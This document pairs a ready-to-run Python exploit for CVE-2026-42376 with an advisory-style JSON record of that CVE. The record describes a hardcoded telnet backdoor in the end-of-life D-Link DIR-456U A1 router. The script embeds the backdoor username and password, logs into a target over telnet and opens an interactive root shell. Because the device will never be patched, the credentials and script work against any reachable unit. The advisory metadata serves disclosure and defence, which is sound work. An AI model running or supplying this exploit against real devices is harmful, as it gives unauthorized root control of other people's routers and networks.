CVE-2026-42376

import telnetlib import sys # Target configuration HOST = "192.168.0.1" # Replace with the target IP address PORT = 23 USER = "Alphanetworks" PASS = "whdrv01_dlob_dir456U" def exploit(): try: print(f"[*] Attempting to connect to {HOST}:{PORT}...") # Initialize Telnet connection tn = telnetlib.Telnet(HOST, PORT, timeout=10) print("[*] Sending username...") tn.read_until(b"login: ", timeout=5) tn.write(USER.encode('ascii') + b"\n") print("[*] Sending password...") tn.read_until(b"Password: ", timeout=5) tn.write(PASS.encode('ascii') + b"\n") print("[*] Checking for shell access...") # If successful, we should have a root shell prompt tn.interact() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-42376", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-04T17:16:26.000", "lastModified": "2026-05-11T19:39:19.977", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "D-Link DIR-456U Hardware Revision A1 (End-of-Life, EOL) contains a hardcoded telnet backdoor. The device starts a telnet daemon at boot via /etc/init0.d/S80telnetd.sh with the username \"Alphanetworks\" and the static password \"whdrv01_dlob_dir456U\" read from /etc/config/image_sign. The custom telnetd binary accepts a -u user:password flag, and the custom login binary uses strcmp() to validate credentials. Successful authentication grants an unauthenticated attacker on the local network a root shell with full administrative control. The device has reached End-of-Life (EOL) and will not receive patches."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-456u_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "76502864-95D1-417C-B210-C0AE12E7FA05"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-456u:a1:*:*:*:*:*:*:*", "matchCriteriaId": "1DA2448C-DD05-4AF5-A441-F9EA84185AFA"}]}]}], "references": [{"url": "https://www.securin.io/zero-day/cve-2026-42376-hardcoded-telnet-backdoor-in-d-link-dir-456u-a1-end-of-life-", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.securin.io/zero-day/cve-2026-42376-hardcoded-telnet-backdoor-in-d-link-dir-456u-a1-end-of-life-", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}